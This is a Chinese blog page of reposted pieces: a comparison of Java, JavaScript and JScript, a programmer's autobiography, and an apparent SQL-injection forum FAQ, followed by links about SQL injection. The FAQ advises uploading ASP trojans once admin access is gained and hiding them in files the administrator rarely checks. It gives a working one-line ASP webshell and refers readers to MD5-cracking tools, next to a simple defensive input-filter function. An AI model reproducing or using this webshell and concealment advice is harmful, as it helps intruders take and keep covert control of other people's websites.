首先,这三者没有必然的联系,它们是完全不同的事物,它们是分别由不同公司开发的,在函数方面有相同的地方,也有很多不同之处。Java是由Sun公司创立、开发;JavaScript则是Sun和Netscape公司共同开发的产品;JScript是微软对ECMA262语言规范的一种实现。这三者的共同点是,语法与C语言相似。JS是JavaScript的简称。
JScript应用于ASP,运行于服务器端。而Java、JavaScript都是运行于客户端。Sun公司后来又推出了JSP,以Java语言为基础,运行于服务器端。运行于服务器端的网页是动态网页,所以以JScript为基础的ASP、以Java为基础的JSP是动态网页,而Java、JavaScript则是静态网页。
2、静态网页、动态网页。
程序是否在服务器端运行,是重要标志。在服务器端运行的程序、网页、组件,属于动态网页,它们会随不同客户、不同时间,返回不同的网页,例如ASP、PHP、JSP、ASP.net、CGI等。运行于客户端的程序、网页、插件、组件,属于静态网页,例如html页、Flash、JavaScript、VBScript等等,它们是永远不变的。
3、VB和VBScript。
有少部分朋友把VBSCript称为VB,这是错误的。VB是Visual Basic的简称,应用于软件开发。VBScript是Microsoft Visual Basic Scripting Edition的简称,应用于客户端Web页,或者服务器端ASP页(ASP语言以VBScript或JScript为基础)。VB和VBScript共同点是语法、函数相同,由微软开发。
通常,VBScript简称为VBS。可惜现在一些网页病毒就是使用VBSCript脚本。
________________________________________________________________
[自传]程序人生十一年
程序写得累了,也写篇自传来自娱自乐一下吧。
第一次接触电脑是93年三四月间,老爸花了四千多块钱买了台386SX 25,然后就逼着我学五笔(只能靠打文章练习,而不是像现在的小孩一样上QQ泡MM练习),那时候觉得电脑真是个很枯燥的东西,完全没想到今天会靠写程序谋生。
搞了半年多,才基本学会了DOS的一些基础知识,DOS只能用640K的基本内存,所以经常为了多争取几K的内存花一大堆时间去写CONFIG.SYS,就这样反复的装系统配置系统一年后,我终于成了一个DOS高手。
DOS玩得没东西可以玩了,就开始看编程的书,BASIC功能太少,C和汇编又看不太懂,只有那个Foxbase不太难又比较好玩的,可能注定我对数据库是比较有天份的吧,学了一两年,就可以写一些小型的数据库管理系统了。
在学电脑之前,我就有玩玩股票了,后来家里买了个股票接收器,接上有线电视在家就可以看到实时的行情,不久电视台对发送的讯息要月费,我把接收的文件收下来一看,原来是DBF格式的,只改了个扩展名,于是马上开工,研究股票分析系统的存储格式。那时候没有网络,身边的人都没几个会电脑的,一切只能靠自己,在那时就养成了什么问题都自己动脑解决的习惯。通过一个星期的不断的换算研究,摸清楚了那个股票分析系统的存储格式,再用两三天的时间,一个转换程序就出炉了,一个月可以省起60-80块钱的台费,哈。运行了一段时间,情况良好,后来居然这个系统还卖出了两三套,虽然只有几百块,足够我开心一阵子了。
98年开始上网,交了两个月长途话费,终于学会跟人在BBS上"飙信",也就是现在大家说的"灌水",那时候上网的人很少,不过网上的人都很纯真。那段时间认识了很多高手,包括现在的腾讯老总马化腾,说到PonyMa,我真的很佩服他,五年前他拿着炒股赚到的70万开创了腾讯,谁都没想到能发展到今天这个阶段,他的魄力实在是我们望尘莫及的。
高考后顺利升上广工,开始学做网页,学了一点PHOTOSHOP,FRONTPAGE,觉得自己还是不适合做这些感性的东西,还是编程比较适合我,由于打算学CGI,刚要学的时候,同学告诉我微软出了种叫ASP的语句,好象比CGI好很多,于是就转学ASP,由于以前写过两三年程序了,加上上网找资料方便多了,一个星期左右就写出个计数器,一个月就可以写留言本之类简单的东西了。当然,现在看来,那时候的代码写得是很幼稚的。
大学四年,真正学到的东西不多,不过数据库和管理信息系统的知识却对我现在的道路起着很大的作用,由于之前写过不少的数据库应用程序,所以书本的东西我很快就能应用到实际中来,而不象大多数同学一样,考完试就还给老师了。所以学院有什么网站或项目要做,都会找我去帮拖,帮老师做项目有两个好处,因为老师做的系统都是全部按规范化的流程设计的,可以学到不少东西,另一方面就是不怕考试不及格,呵呵,这在很多学校都是心照不宣的秘密。
正因为这样,毕业的时候找工作也很顺利,进了第一家公司,觉得一切都跟以前想象的大不相同,不管你多有能力,公司都不需要你做到最好,而是要你效率最高,在第一家公司做了一年,能学到的东西已经越来越少了,于是换了个工作环境,进了一家做ERP开发的公司,待遇还可以,而且公司的高手也挺多。不过ERP开发确实是个很费脑力的工作,整个系统有600多个表、9700个字段,25个模块两千多项功能,到现在一年多了解的还不到一半。
在这公司工作也不会很忙,所以经常可以跟网上的人聊聊天,交流一下技术。去年在动网闲逛,因为一个贴跟starlove和fcuandy吵得不可开交,不过不打不相识,我发现他们都是挺好相处的人,而且跟我一样,都是对技术非常执着的人,后来又认识了5945、Jadesun、纯生、酷酷、国哥这些人,大家都聊得很投机,就组织了个灌水公司,也就是现在的NB联盟。
NB成立以前期,都处在松散式的组织状况,灌灌水聊聊技术,直到后来跟动网的管理员起了摩擦,才想起何必帮别人打广告还要受人气呢,我们可以利用自己的技术优势,把联盟商业化。经过一段时间的摸索,NB的产品已经一个个开始推出了,联盟的论坛人气也越来越高。相信有一天,动网的人会发现,他们亲手造就了一个强大的竞争对手。
花了这么长篇幅介绍NB,也许是因为我觉得,NB是我现在和未来的希望,是我引以为傲的寄托。
流水帐就先记到这里,路还很长,没人能预料未来的事,但每个人都会希望明天会更精采,我也不例外。
____________________________________________________
本版FAQ及新手必读,新来的朋友请先看看
1.NBSI不是万能的,别指望NBSI能帮你猜解100%的站,甚至连手工猜解不出的都要NBSI去猜解.如果NBSI能猜解出来而手工猜解不了的,只是说明你的注入还没入门
2.不要把这里当成找黑客黑网站的地方,自己在尝试过程中有什么问题尽管提出,注意写清楚详细情况,注入是一项需要判断很多环境的技术.
3.不要试图把网址摆出来让别人从头到尾教你,也不要试图问一个几页纸都回答不完的问题,以后例如"这个网站怎么黑啊""怎么得到WebShell"之类的贴子我将直接删除.
4.不要发短讯让我帮你黑站,这是不可能的事,别浪费彼此的时间.
5.不要发表"UP""顶"之类的贴子,如果你觉得文章写得好,说出自己觉得好在哪里,而不是一味的顶贴.
6.发贴前最好先看看下面的下面常见问题解答,以免给人拍砖:
(1)问:什么叫SQL注入
答:http://nb.unionbyte.com/View.asp?PostID=1457033
(2)问:这种情况能不能注入
Microsoft VBScript 运行时错误 错误 '800a000d'
类型不匹配: 'Clng' (或类型不匹配: 'CInt')
答:参数已经做了过滤,虽然不是很友好,但也是不能注入的了。
(3)问:得到网站后台管理权限后有没有方法在网站上上传木马?用什么办法!
答:找可以上传东西的地方,看能不能上传asp木马。
SQLSERVER的必须得到绝对路径,然后可以用NBWS等工具生成.
(4)问:这个MD5(如ab2a34fdf3fd232)怎么破?
答:目前MD5只能是暴力破解,请不要叫其他人破。自己去下载工具去破。工具在这里http://nb.unionbyte.com/View.asp?PostID=1457924
(5)问:防止sql注入的好方法!
答:分别从数字,字符,搜索防止。详细防止看小竹写的这个函数
Function SafeRequest(ParaName,ParaType)
'--- 传入参数 ---
'ParaName:参数名称-字符型
'ParaType:参数类型-数字型(1表示以上参数是数字,0表示以上参数为字符)
Dim ParaValue
ParaValue=Request(ParaName)
If ParaType=1 then
If not isNumeric(ParaValue) then
Response.write "参数" & ParaName & "必须为数字型!"
Response.end
End if
Else
ParaValue=replace(ParaValue,"'","''")
End if
SafeRequest=ParaValue
End function
(6)问:木马上传后怎么样才更隐蔽
答:从管理员角度去想问题,你可以写进他不常用的文件里面。不常看,常改的文件里面是比较安全的。或者写一句话木马<%if request("x")>"" then execute request("x")%>
(7)问:我得到了字符的unicode码以后,但是我不知道如何把它还原成字符啊。
答:SQLSERVER的nchar或VB的chrw都可以还原
(8)问:下载了数据库但找不到后台
答:找后台没有捷径,继续找,或尝试另外的思路。
发表评论
-
(转)SQLデータ型
2011-08-24 18:09 2159https://www.microfocus. ... -
(转)Determining equivalent SQL and COBOL data types
2011-08-24 18:01 1488http://publib.boulder.ibm ... -
(转)grep Programs and Regular expressions
2011-08-10 13:10 1225http://ss64.com/bash/grep-r ... -
(转)find:根据指定条件查找文件
2011-08-10 11:34 1035http://man.ddvip.com/ ... -
(转)[红旗] 手动可以执行,加入crontab 就不行了
2011-07-05 13:07 1812http://bbs.chinaunix.net ... -
(转)Linux——计划任务管理
2011-07-04 15:02 1578http://hi.baidu.com/%BA%CE%B4 ... -
(转)CentOS的计划任务,Crontab安装及使用方法
2011-07-04 15:01 3107http://www.hitsword.org/re ... -
(转)Windows如何压缩tar.gz格式
2011-05-11 10:34 1275http://www.viosem.com/2008/ ... -
(转)日语的文字编码
2011-03-02 10:23 1657http://blog.csdn.net/jackyren ... -
(转)《软件工程的事实与谬论》
2010-11-04 09:57 1694http://book.group.iteye.com ... -
(转)VB6迁移到VB.NET的一些问题汇总
2010-11-03 15:02 1819http://www.cnblogs.com/ols/ar ... -
(转)《张冰Java视频教程》(struts Hibernate spring jsp J2SE)长期更新
2010-07-14 20:51 0http://www.verycd.com/topics/ ... -
(转)使用httpclient4登录百度
2010-02-26 14:45 0http://legend30g-4/article/h ... -
(转)如何一次性从Outlook Express中导出邮件
2010-01-06 13:23 5678http://hi.baidu.com/grape17/b ... -
Top Ten TPC-E by Performance
2009-10-21 14:50 1049http://www.tpc.org/tpc ... -
IBM DB2 UDB 和 SQL Server 2000
2009-10-21 14:49 1363http://www.microsoft.com/chin ... -
TCP/IP環境のPCからメインフレームを使用する
2009-10-16 11:51 0http://cap-l.sakushin-u.ac.jp:8 ... -
JP1名词解释
2009-10-10 15:17 3624http://soft.yesky.com/0/30685 ... -
Java 内存溢出的可能性汇总
2009-02-18 13:42 15761 分配的内存太小, 请使用 JVM 参数设置更大的可用内存 ... -
Java web应用内存溢出 [已结帖,结帖人:pengble]
2009-02-18 13:40 2281加为好友发送私信在线聊天
相关推荐
《SQL注入天书-ASP注入漏洞全接触》是一本深入探讨SQL注入攻击的书籍,主要针对ASP编程环境下的漏洞利用。SQL注入是一种常见的网络安全威胁,它利用了开发者在编写Web应用程序时对用户输入数据处理不当的缺陷。通过...
为了确定是否存在SQL注入漏洞,可以采用以下步骤: 1. **1=1与1=2测试**: - 如果`id=49 and 1=1`和`id=49 and 1=2`都返回相同的结果,这表明输入被用作查询的一部分,并且没有进行有效验证。 - 如果`id=49 and 1...
在ASP环境中,由于ASP广泛使用Access和SQL Server作为后端数据库,因此ASP注入问题尤为突出。 入门篇介绍了SQL注入的基本原理。以一个假设的网站www.mytest.com为例,当在URL中添加单引号'时,服务器返回错误信息,...
SQL注入天书之ASP注入漏洞全接触
SQL注入是一种常见的网络安全漏洞,发生在应用程序使用用户输入的SQL代码直接构建数据库查询时。当攻击者能够通过输入恶意SQL语句来控制或篡改数据库查询,他们就能获取敏感信息、修改数据甚至完全控制系统。《SQL...
### SQL注入漏洞全接触——入门篇 #### 一、什么是SQL注入? SQL注入是一种常见的网络安全攻击方式,通过在Web应用程序的输入字段中插入恶意SQL语句来操纵后端数据库的行为。这种攻击通常发生在应用程序没有对用户...
SQL注入漏洞是Web应用程序安全领域的一个重要问题,它源于开发者在编写代码时未对用户输入数据进行充分的验证和过滤。当用户输入的数据被直接拼接到SQL查询语句中,攻击者可以通过精心构造的输入来执行非预期的...
对于检测是否存在SQL注入漏洞,可以通过一系列的测试方法来进行。例如: - **直接添加特殊字符**:在输入框中直接添加SQL特殊字符,如单引号 `'`,观察程序是否出现异常或错误提示。 - **经典1=1、1=2测试法**: -...
【标题】"YXcms-含有SQL注入漏洞的源码包.zip" 提供了一个关键的安全问题,即SQL注入漏洞,这是许多网站和应用程序面临的一种常见威胁。SQL注入是指攻击者通过在输入字段中插入恶意SQL代码,以获取、修改、删除...
《SQL注入天书 sqli-labs》是一本深入探讨SQL注入技术的专业资料,结合了sqli-labs实战平台,旨在帮助读者强化对SQL注入的理解和防御能力。SQL注入是一种常见的网络安全漏洞,攻击者通过在输入数据中嵌入恶意SQL代码...
SQL注入漏洞全接触——入门篇 SQL注入漏洞全接触——进阶篇 SQL注入漏洞全接触——高级篇
本文将深入探讨与“sql-map-2.dtd”和“sql-map-config-2.dtd”相关的知识点,以及它们在Ibatis中的作用。 Ibatis是一个轻量级的ORM(对象关系映射)框架,它允许开发者将SQL语句直接写在配置文件中,通过XML映射...
- **使用AND 1=1/AND 1=2测试**:这是一种基本的SQL注入测试方法,用来判断是否存在SQL注入漏洞。 - **检测数据库类型**:通过尝试使用数据库特有的函数或命令,如`user()`(MySQL)、`@@VERSION`(SQL Server)等,...
CVE-2015-7857,又称为“Joomla SQL注入漏洞”,是由于Joomla在处理特定的用户输入时,没有进行足够的数据验证和过滤,导致恶意用户可能通过构造恶意请求来执行SQL命令。这个漏洞主要影响Joomla 3.2.0至3.2.3版本,...
网络安全-sql注入实战-sql-labs(1~10)
使用WebGoat,根据提示信息 ,完成包括Injection Flaw大类下的String SQL注入,Numeric SQL注入,Log Spoofing,XPATH Injection等安全弱点的攻击测试。